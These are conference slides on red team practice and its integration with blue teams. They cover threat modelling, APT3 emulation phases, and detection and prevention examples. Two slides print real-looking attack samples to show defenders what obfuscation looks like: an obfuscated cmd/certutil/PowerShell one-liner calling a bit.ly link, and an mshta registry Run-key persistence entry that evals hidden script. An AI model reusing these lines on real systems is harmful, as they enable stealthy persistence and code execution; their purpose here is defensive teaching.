Using Red Teams For So Much More...

Presenter: David Kennedy
Founder, TrustedSec, Binary Defense Systems
Twitter: @HackingDave, @TrustedSec, @Binary_Defense
Experience
Founder of TrustedSec and Binary Defense
CSO of a Fortune 1000
USMC Intel Analyst

Author
Author of several open-source tools
Co-Author of Metasploit Book

On the News
Routine guest on major news outlets
Testified at Congress

Speaker
Speak at a number of conferences across the globe

@HackingDave
The tactics, techniques, and procedures (TTPs) of attackers change.

Frequently.

@HackingDave
Most organizations still not ready for red teams or advanced detection criteria.
Understanding attack patterns and abnormal patterns of behavior becomes a challenge for organizations.
definition

noun

a statement of the exact meaning of a word, especially in a dictionary.
Threat Model

Business Demographics
- “Crown Jewels”
- Countries in play

Capabilities
- Threat Intelligence
- Known/Unknown Sources

Threat Matrix
- Threat Simulation
- Capabilities and Countermeasures
Jeremiah Grossman @jeremiahg

It's said an adversary just needs to find 1 vuln to win. To do that, they just need to find just 1 system the target didn't know they owned.

egyp7 @egyp7

@jeremiahg Counterpoint: once you're on a system, adversary roles reverse. Blue only needs to find one IoC to catch Red.

5/17/16 12:04 PM

22 RETWEETS 31 LIKES
Understanding attackers.
Increasingly easier to spot and identify obfuscated or heavily modified code:

```powershell
```

@HackingDave
Even better (thanks Daniel Bohannon for this one on Twitter):

```
cmd set VAR+cmd+certutil%VAR%:

cmd/c "set FU= -ping ht^tp://bit.ly/L3g1t^|findstr /v /R ^^[hGC][te][tr]^-|powershell -&&cmd/c certutil%FU%"
```
Or more:

HKEY_USERS:SANITIZED\Software\Microsoft\Windows\CurrentVersion\Run"C:\Windows\system32\mshta.exe"
"about:<script>c1hop="X642N10";R3I=new%20ActiveXObject("WScript.Shell");QR3iroUf="I7pL7";k9To7P=R3I.RegRead("HKCU\software\bkzlq\zsdnhepyzs");J7UuF1n="Q2LnLxas";eval(k9To7P);JUe5wz30="zSfmLod";</script>"
My morning #mimikatz coffee, served up inside mshta.exe
That is not legit.

But how do you know?
Red Team Responsibilities

Research
- Capabilities
- Threat Emulation and Sophistication

Identification
- Exposure Identification
- Defensive Capabilities

Reporting
- Knowledge Transfer (Blue Integration)
- Capabilities Increase
Red Team Output ➔ Defensive Capabilities
Balanced Scorecard

- Great talk on this from Chris Nickerson and Chris Gates at BruCon:
  - https://www.youtube.com/watch?v=Q5Fu6AvXi_A
- Mapping to Capabilities
  - https://attack.mitre.org/wiki/Main_Page
  - https://attack.mitre.org/wiki/Adversary_Emulation_Plans

@HackingDave
Emulation

APT 3 Emulation Plan

Phase 1
- C2 Setup
- Software Packing
- Obfuscate Files
- Initial Access

Phase 2
- Compromise Host
- Defense Evasion
- Discovery
- Privilege Escalation
- Credential Access
- Persistence
- Lateral Movement
- Execution

Phase 3
- Collect Data
- Compress and Stage
- Exfiltrate

@HackingDave

MITRE

Approved for Public Release; Distribution Unlimited. Case Number 17-3569. ©2018 The MITRE Corporation. All Rights Reserved.
Using the Red Team

Old Red Team Thoughts

- Glorified penetration testers with more skill.
- Used to smash and prove points of exposures.
- Little to no interaction with remediation cycle.
- Identification of risk – not addressing.

Current Evolution

- Integration into blue teams – such as threat intel, monitoring and detection, infrastructure and more.
- Red team still conducts operations, but as maturity increases – more purple.
- Threat emulation, capabilities, and research is huge.

@HackingDave
## Internal vs. External

### Internal Team
- Better integration with blue team and relationship driven.
- Key metrics can be established for internal team.
- Familiarity with systems, business, and threats.
- Ability to build internal knowledge over time.

### External Team
- Different perspective and different skills capabilities.
- Usually larger knowledge set of industry verticals and trends.
- Usually more capabilities on threats and adversary simulation across different business units.
Blue teams that integrate red team understanding and team integration have a much higher probability in preventing or detecting an attack/
Our goal as an attacker is to emulate human behavior in every way.
Being able to identify abnormal patterns of behavior from an attacker is where our efforts need to be.
Visibility (i.e. detection) is #1 now.

Preventative measures need to continue to increase, but is slower.
Examples of Good Detection

- Exposing ETW (Sysmon is amazing).
- Monitoring on suspicious behavior vs. technique (having both).
- Deviations to protective controls (regsvr32.exe -> spawning network).
- Lateral movement from one system to next (4624 logon type 3 from source).
- Length of DNS packets being sent.
- DNS log analysis ... period.
- East / West traffic along with North/South.
Examples of Good Prevention

• Regular users blocked from PowerShell Execution or heavy logging. (Poshv6 = amaze)
• Blocking unsigned executables or untrusted binaries either system wide or in user profiles.
• Disallowing workstation to workstation traffic and tighter port filtering to servers.
• Removing capabilities for DNS tunneling and appropriate SSL termination.
• Application Control.
• Blocking (and/or associated default open app) known execution types (mshta, regsvr32, cbd, csc, tracker, certutil, etc.)
Sysmon configuration file template with default high-quality event tracing

- sysmon
- threatintel
- threat-hunting
- sysinternals
- windows
- netsec
- monitoring
- logging

GitHub is home to over 20 million developers working together to host and review code, manage projects, and build software together.

Sign up
Thank you
Slides will be made available tomorrow.